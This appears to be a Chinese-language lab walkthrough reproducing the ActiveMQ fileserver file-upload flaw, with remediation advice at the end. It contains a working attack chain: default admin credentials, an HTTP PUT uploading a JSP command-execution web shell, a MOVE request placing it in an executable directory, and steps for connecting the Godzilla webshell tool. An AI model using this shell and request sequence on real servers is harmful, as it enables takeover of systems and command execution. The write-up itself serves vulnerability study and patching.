漏洞描述:
ActiveMQ是一个消息队列应用服务器(推送服务器)。支持JMS规范。
ActiveMQ中存储文件的fileserver接口支持写入文件,但是没有执行权限。可以通过MOVE文件至其他可执行目录下,从而实现文件写入并访问。
ActiveMQ在5.12.x~5.13.x版本中,默认关闭了fileserver这个应用(但是可以在conf/jetty.xml中开启);在5.14.0版本以后,彻底删除了fileserver应用。
复现过程:
1.访问http://ip:port,出现如下页面,开始实验
2.获取文件上传路径,输入账号密码
http://ip:port/admin/test/systemProperties.jsp
账号:admin
密码:admin
3.通过burp抓取http://ip:port页面的包,并修改get请求,通过put请求上传jsp马,文件不能以jsp命名,否则会上传失败
PUT /fileserver/fuck.txt HTTP/1.1
Host: ip:port
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Upgrade-Insecure-Requests: 1
If-Modified-Since: Fri, 13 Feb 2015 17:54:40 GMT
Cache-Control: max-age=0
Content-Length: 327
<%@ page import="java.io.*"%>
<%
out.print("Hello</br>");
String strcmd=request.getParameter("cmd");
String line=null;
Process p=Runtime.getRuntime().exec(strcmd);
BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));
while((line=br.readLine())!=null){
out.print(line+"</br>");
}
%>
4.访问http://ip:port/fileserver/1.jsp,文件写入但是没有被执行
5.利用MOVE,将木马文件移动到api或者admin,我这边是移动到了api目录下
MOVE /fileserver/fuck.txt HTTP/1.1
Destination: file:///opt/activemq/webapps/api/shell.jsp
6.访问移动的jsp文件,并执行id命令
http://ip:port/api/shell.jsp?cmd=id
7.哥斯拉生成jsp木马
8.上传jsp木马
9.移动jsp木马到admin目录下
10.因为上述的操作需要admin管理员的登录,所以我们需要在请求配置中加上认证头
11.哥斯拉添加配置
12.哥斯拉连接
借此漏洞攻击者获取到网站的shell权限,控制整个网站,可以进行文件读取和命令执行。
修复建议:
1.ActiveMQ Fileserver 的功能在 5.14.0 及其以后的版本中已被移除。建议用户升级至 5.14.0 及其以后版本。
2.通过移除 conf/jetty.xml 的以下配置来禁用 ActiveMQ Fileserver 功能。